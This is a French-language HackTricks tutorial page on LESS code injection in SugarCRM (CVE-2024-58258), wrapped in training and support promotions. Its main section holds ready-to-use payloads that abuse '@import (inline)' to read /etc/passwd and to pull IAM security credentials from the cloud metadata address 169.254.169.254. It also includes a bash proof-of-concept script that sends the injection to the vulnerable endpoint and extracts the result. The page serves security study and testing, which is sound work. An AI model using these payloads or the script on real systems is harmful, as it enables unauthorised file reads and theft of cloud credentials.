LESS Code Injection leading to SSRF & Local File Read
Tip
Apprenez et pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).
Support HackTricks
- Consultez les subscription plans!
- Rejoignez 💬 le groupe Discord, le groupe telegram, suivez @hacktricks_live sur X/Twitter, ou consultez la page LinkedIn et la chaîne YouTube.
- Partagez des hacking tricks en soumettant des PRs aux dépôts github HackTricks et HackTricks Cloud.
LESS est un préprocesseur CSS populaire qui ajoute des variables, des mixins, des fonctions et la puissante directive @import. Lors de la compilation, le moteur LESS va récupérer les ressources référencées dans les instructions @import et intégrer (“inline”) leur contenu dans le CSS résultant lorsque l’option (inline) est utilisée.
Lorsqu’une application concatène des données contrôlées par l’utilisateur dans une chaîne qui est ensuite analysée par le compilateur LESS, un attaquant peut injecter du code LESS arbitraire. En abusant de @import (inline), l’attaquant peut forcer le serveur à récupérer :
- Des fichiers locaux via le protocole
file://(divulgation d’informations / Local File Inclusion). - Des ressources distantes sur des réseaux internes ou des services de métadonnées cloud (SSRF).
Cette technique a été observée dans des produits réels tels que SugarCRM ≤ 14.0.0 (point de terminaison /rest/v10/css/preview).
Exploitation
- Identifiez un paramètre qui est directement intégré dans une chaîne de feuille de style traitée par le moteur LESS (par ex.
?lm=dans SugarCRM). - Fermez l’instruction actuelle et injectez de nouvelles directives. Les primitives les plus courantes sont :
;– termine la déclaration précédente.}– ferme le bloc précédent (si nécessaire).
- Utilisez
@import (inline) '<URL>';pour lire des ressources arbitraires. - Injectez éventuellement un marqueur (
data:URI) après l’import pour faciliter l’extraction du contenu récupéré depuis le CSS compilé.
Local File Read
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
Le contenu de /etc/passwd apparaîtra dans la réponse HTTP juste avant le marqueur @@END@@.
SSRF – Cloud Metadata
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
PoC automatisé (exemple SugarCRM)
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
Cas réels
| Produit | Endpoint vulnérable | Impact |
|---|---|---|
| SugarCRM ≤ 14.0.0 | /rest/v10/css/preview?lm= | Unauthenticated SSRF & local file read |
Références
- SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability
- SugarCRM Security Advisory SA-2024-059
- CVE-2024-58258
Tip
Apprenez et pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).
Support HackTricks
- Consultez les subscription plans!
- Rejoignez 💬 le groupe Discord, le groupe telegram, suivez @hacktricks_live sur X/Twitter, ou consultez la page LinkedIn et la chaîne YouTube.
- Partagez des hacking tricks en soumettant des PRs aux dépôts github HackTricks et HackTricks Cloud.


